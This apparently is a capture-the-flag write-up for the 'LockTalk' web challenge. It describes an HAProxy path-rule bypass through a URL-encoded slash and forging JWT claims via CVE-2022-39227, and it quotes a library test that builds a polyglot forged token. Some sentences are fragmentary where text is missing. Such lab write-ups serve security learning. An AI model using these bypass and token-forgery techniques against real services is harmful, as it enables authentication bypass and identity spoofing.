In "The Ransomware Dystopia," LockTalk emerges as a beacon of resistance against the rampant chaos inflicted by ransomware groups. In a world plunged into turmoil by malicious cyber threats, LockTalk stands as a formidable force, dedicated to protecting society from the insidious grip of ransomware. Chosen participants, tasked with representing their districts, navigate a perilous landscape fraught with ethical quandaries and treacherous challenges orchestrated by LockTalk. Their journey intertwines with the organization's mission to neutralize ransomware threats and restore order to a fractured world. As players confront internal struggles and external adversaries, their decisions shape the fate of not only themselves but also their fellow citizens, driving them to unravel the mysteries surrounding LockTalk and choose between succumbing to despair or standing resilient against the encroaching darkness.
Solution
We can review source code but first let's check the site functionality. The homepage has 3 available API endpoints:
GET /api/v1/get_ticket - Generates a ticket (JWT token)
GET /api/v1/chat/{chatId} - Finds chat history by ID
GET /api/v1/flag - Retrieves the flag
Unfortunately, we can't execute the last two queries since they require a JWT. However, we can try to generate a JWT with get_ticket.
Forbidden: Request forbidden by administrative rules.
OK, I guess not then 🙃 I don't see any other interesting functionality and burp scanner didn't find anything notable. Time to review the source code!
The following line in haproxy.cfg explains the previous error. It's checking if our URL-decoded (url_dec), case-insensitive (-i) path begins (path_beg) with /api/v1/get_ticket.
http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }
First, I thought maybe some might be required to bypass the path check. Then I saw some about ,
I quickly realised this was a dead end since none of the endpoints support POST requests and the deny rule doesn't appear to exclude internal traffic.
http://127.0.0.1:1337/%2fapi/v1/get_ticket
Now we have a valid JWT and can read chat history but not retrieve the flag.
Checking jwt_tool, we find information about the token.
jwt_tool eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTAwODA5MTcsImlhdCI6MTcxMDA3NzMxNywianRpIjoiUkdjaHZFZVBNZFJYRlpQR2hHT0pOUSIsIm5iZiI6MTcxMDA3NzMxNywicm9sZSI6Imd1ZXN0IiwidXNlciI6Imd1ZXN0X3VzZXIifQ.Vzxw0lMT-Gbr6TaxLw5_rge7mYRpBvl2D1D1h8pUymROJML9BeYnbp0j1G2qUgWk2SMJTB43dt5nNb7z3mjK_Oe7RwLHTHhCxxyAjO3z4U2XhpmRhXm6YYALZELFY00Kv0yJvqlshFdnOgK0VnU3ziiUJvJRpRL4WHpMVspAHPyf6YHcgDiWyJua5-3nGog1bYcQy9CuxYKTfeXhVRBzsyyOoJII0EggDJIzfadf1OXh2MzGrkaXCghe8Whb9VGsrBRDGsELc2p0UOBAljJuKaPS2RtheX2-Kb8RAQ_ZtD_XQm0RD2HhFOyRRhSyRXmvsj2m3vT34z5Ix8nG4SZb8Q
Token header values:
[+] alg = "PS256"
[+] typ = "JWT"
Token payload values:
[+] exp = 1710080917 ==> TIMESTAMP = 2024-03-10 14:28:37 (UTC)
[+] iat = 1710077317 ==> TIMESTAMP = 2024-03-10 13:28:37 (UTC)
[+] jti = "RGchvEePMdRXFZPGhGOJNQ"
[+] nbf = 1710077317 ==> TIMESTAMP = 2024-03-10 13:28:37 (UTC)
[+] role = "guest"
[+] user = "guest_user"
Seen timestamps:
[*] exp was seen
[*] iat is earlier than exp by: 0 days, 1 hours, 0 mins
[*] nbf is earlier than exp by: 0 days, 1 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
We're unable to crack secret due to an error: Algorithm is not HMAC-SHA - cannot test against passwords, try the Verify function.
If we simply change role to administrator and sign with the none algorithm: algorithm not allowed: none.
It does not work: Verification failed for all signatures[\"Failed: [InvalidJWSSignature('Verification failed')]\"]
OK, enough black box testing. We can check the source code and understand why this would fail; they generate their own key in config.py. Of course ours is not valid 😁
You don't say? That's exactly what we'd like to do! 😼
An attacker who obtains a JWT can arbitrarily forge its contents without knowing the secret key. Depending on the application, this may for example enable the attacker to spoof other user's identities, hijack their sessions, or bypass authentication.
""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
@Vows.batch
class ForgedClaims(Vows.Context):
""" Check we get an error when payload is forged using mix of compact and JSON formats """
def topic(self):
""" Generate token """
payload = {'sub': 'alice'}
return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
""" Make a forged token """
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['sub'] = 'bob'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
class Verify(Vows.Context):
""" Check the forged token fails to verify """
@Vows.capture_error
def topic(self, topic):
""" Verify the forged token """
return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r):
""" Check the token doesn't verify due to mixed format being detected """
expect(r).to_be_an_error()
expect(str(r)).to_equal('invalid JWT format')
I decided to try and found a few different techniques to bypass, e.g. this one with a URL-encoded /.
Similarly, trying to sign with a null key using the returns algorithm not allowed: HS256, but there's no PS256 option for us to experiment with.
Then try to tamper (inject claim) and sign it with PSS RSA using the jwt_tool (great ).
I decided to look for any recent vulnerabilities in the package.
Note: Versions 3.3.4 and later fix a (CVE-2022-39227) in JSON Web Token verification which lets an attacker with a valid token re-use its signature with modified claims. CVE to follow. Please upgrade!
Let's check the
It doesn't explain how to forge a JWT but there are some accompanying
I started to build a custom script but had lots of python package issues and ended up finding a pre-existing instead 😌
